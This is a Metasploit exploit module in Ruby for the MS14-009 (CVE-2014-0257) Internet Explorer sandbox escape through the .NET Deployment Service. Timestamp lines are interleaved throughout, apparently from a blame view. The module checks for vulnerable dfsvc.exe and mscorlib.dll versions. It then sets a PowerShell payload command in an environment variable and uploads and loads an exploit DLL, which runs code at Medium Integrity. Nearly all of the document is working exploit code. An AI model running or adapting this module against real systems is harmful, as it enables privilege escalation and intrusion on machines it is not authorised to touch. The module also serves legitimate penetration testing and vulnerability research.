2014-05-29 16:45:19 +00:00
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##
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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require 'rex'
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require 'msf/core/exploit/exe'
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require 'msf/core/exploit/powershell'
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class Metasploit3 < Msf::Exploit::Local
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Rank = GreatRanking
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include Msf::Exploit::Powershell
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include Msf::Exploit::EXE
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include Msf::Post::Windows::Priv
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2014-06-02 01:58:08 +00:00
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include Msf::Post::Windows::FileInfo
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2014-05-30 14:02:43 +00:00
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include Msf::Post::File
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2014-05-29 16:45:19 +00:00
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2014-06-02 01:58:08 +00:00
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NET_VERSIONS = {
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'4.5' => {
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'dfsvc' => '4.0.30319.17929.17',
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'mscorlib' => '4.0.30319.18063.18'
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},
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'4.5.1' => {
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'dfsvc' => '4.0.30319.18408.18',
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'mscorlib' => '4.0.30319.18444.18'
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}
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}
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2014-05-29 16:45:19 +00:00
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def initialize(info={})
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super( update_info( info,
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'Name' => 'MS14-009 .NET Deployment Service IE Sandbox Escape',
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'Description' => %q{
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This module abuses a process creation policy in the Internet Explorer Sandbox which allows
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to escape the Enhanced Protected Mode and execute code with Medium Integrity. The problem
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exists in the .NET Deployment Service (dfsvc.exe), which can be run as Medium Integrity
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Level. Further interaction with the component allows to escape the Enhanced Protected Mode
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and execute arbitrary code with Medium Integrity.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'James Forshaw', # Vulnerability Discovery and original exploit code
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'juan vazquez' # metasploit module
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],
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'Platform' => [ 'win' ],
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'SessionTypes' => [ 'meterpreter' ],
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'Targets' =>
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[
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[ 'IE 8 - 11', { } ]
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],
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'DefaultTarget' => 0,
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2014-06-03 14:29:04 +00:00
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'DefaultOptions' =>
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{
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'WfsDelay' => 30
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},
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2014-05-29 16:45:19 +00:00
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'DisclosureDate'=> "Feb 11 2014",
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'References' =>
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[
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['CVE', '2014-0257'],
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['MSB', 'MS14-009'],
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['BID', '65417'],
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['URL', 'https://github.com/tyranid/IE11SandboxEscapes']
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]
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))
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end
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2014-06-02 13:14:40 +00:00
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def check
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unless file_exist?("#{get_env("windir")}\\Microsoft.NET\\Framework\\v4.0.30319\\dfsvc.exe")
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return Exploit::CheckCode::Unknown
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end
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net_version = get_net_version
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if net_version.empty?
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return Exploit::CheckCode::Unknown
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end
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unless file_exist?("#{get_env("windir")}\\Microsoft.NET\\Framework\\v4.0.30319\\mscorlib.dll")
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return Exploit::CheckCode::Detected
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end
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mscorlib_version = get_mscorlib_version
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2014-06-02 19:37:29 +00:00
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if valid_mscorlib_version?(net_version, mscorlib_version)
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return Exploit::CheckCode::Vulnerable
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2014-06-02 13:14:40 +00:00
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end
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2014-06-02 19:37:29 +00:00
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Exploit::CheckCode::Safe
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2014-06-02 13:14:40 +00:00
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end
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def get_net_version
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net_version = ""
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dfsvc_version = file_version("#{get_env("windir")}\\Microsoft.NET\\Framework\\v4.0.30319\\dfsvc.exe")
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dfsvc_version = dfsvc_version.join(".")
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NET_VERSIONS.each do |k,v|
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if v["dfsvc"] == dfsvc_version
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net_version = k
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end
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end
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net_version
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end
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def get_mscorlib_version
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mscorlib_version = file_version("#{get_env("windir")}\\Microsoft.NET\\Framework\\v4.0.30319\\mscorlib.dll")
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mscorlib_version.join(".")
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end
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2014-05-29 16:45:19 +00:00
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def exploit
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print_status("Running module against #{sysinfo['Computer']}") unless sysinfo.nil?
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mod_handle = session.railgun.kernel32.GetModuleHandleA('iexplore.exe')
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if mod_handle['return'] == 0
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fail_with(Failure::NotVulnerable, "Not running inside an Internet Explorer process")
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end
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unless get_integrity_level == INTEGRITY_LEVEL_SID[:low]
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fail_with(Failure::NotVulnerable, "Not running at Low Integrity")
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end
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2014-06-02 01:58:08 +00:00
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print_status("Searching .NET Deployment Service (dfsvc.exe)...")
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2014-05-30 14:02:43 +00:00
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unless file_exist?("#{get_env("windir")}\\Microsoft.NET\\Framework\\v4.0.30319\\dfsvc.exe")
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fail_with(Failure::NotVulnerable, ".NET Deployment Service (dfsvc.exe) not found")
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end
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2014-06-02 13:14:40 +00:00
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net_version = get_net_version
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2014-06-02 01:58:08 +00:00
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if net_version.empty?
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fail_with(Failure::NotVulnerable, "This module only targets .NET Deployment Service from .NET 4.5 and .NET 4.5.1")
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end
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print_good(".NET Deployment Service from .NET #{net_version} found.")
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print_status("Checking if .NET is patched...")
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unless file_exist?("#{get_env("windir")}\\Microsoft.NET\\Framework\\v4.0.30319\\mscorlib.dll")
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fail_with(Failure::NotVulnerable, ".NET Installation can not be verified (mscorlib.dll not found)")
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end
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2014-06-02 13:14:40 +00:00
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mscorlib_version = get_mscorlib_version
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2014-06-02 01:58:08 +00:00
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2014-06-02 19:38:33 +00:00
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unless valid_mscorlib_version?(net_version, mscorlib_version)
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2014-06-02 01:58:08 +00:00
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fail_with(Failure::NotVulnerable, ".NET Installation not vulnerable")
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end
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print_good(".NET looks vulnerable, exploiting...")
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2014-06-03 14:29:04 +00:00
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cmd = cmd_psh_payload(payload.encoded).gsub('%COMSPEC% /B /C start powershell.exe ','').strip
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2014-06-03 14:48:40 +00:00
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print_status cmd
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2014-06-03 14:29:04 +00:00
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session.railgun.kernel32.SetEnvironmentVariableA("PSHCMD", cmd)
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temp = get_env('TEMP')
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print_status("Loading Exploit Library...")
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2014-05-30 17:20:00 +00:00
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2014-06-03 14:29:04 +00:00
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session.core.load_library(
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'LibraryFilePath' => ::File.join(Msf::Config.data_directory, "exploits", "CVE-2014-0257", "CVE-2014-0257.dll"),
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'TargetFilePath' => temp + "\\CVE-2014-0257.dll",
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'UploadLibrary' => true,
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'Extension' => false,
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'SaveToDisk' => false
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)
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session.railgun.kernel32.SetEnvironmentVariableA("PSHCMD", nil)
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2014-05-29 16:45:19 +00:00
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end
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2014-06-02 19:37:29 +00:00
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def valid_mscorlib_version?(net_version, mscorlib_version)
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valid = false
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mscorlib = mscorlib_version.split(".")
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mscorlib.reverse!
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max_version = NET_VERSIONS[net_version]["mscorlib"].split(".")
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max_version.reverse!
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i = 0
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mscorlib.each do |v|
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if v.to_i < max_version[i].to_i
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valid = true
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elsif v.to_i > max_version[i].to_i
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valid = false
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end
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i = i + 1
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end
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valid
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end
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2014-05-29 16:45:19 +00:00
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end
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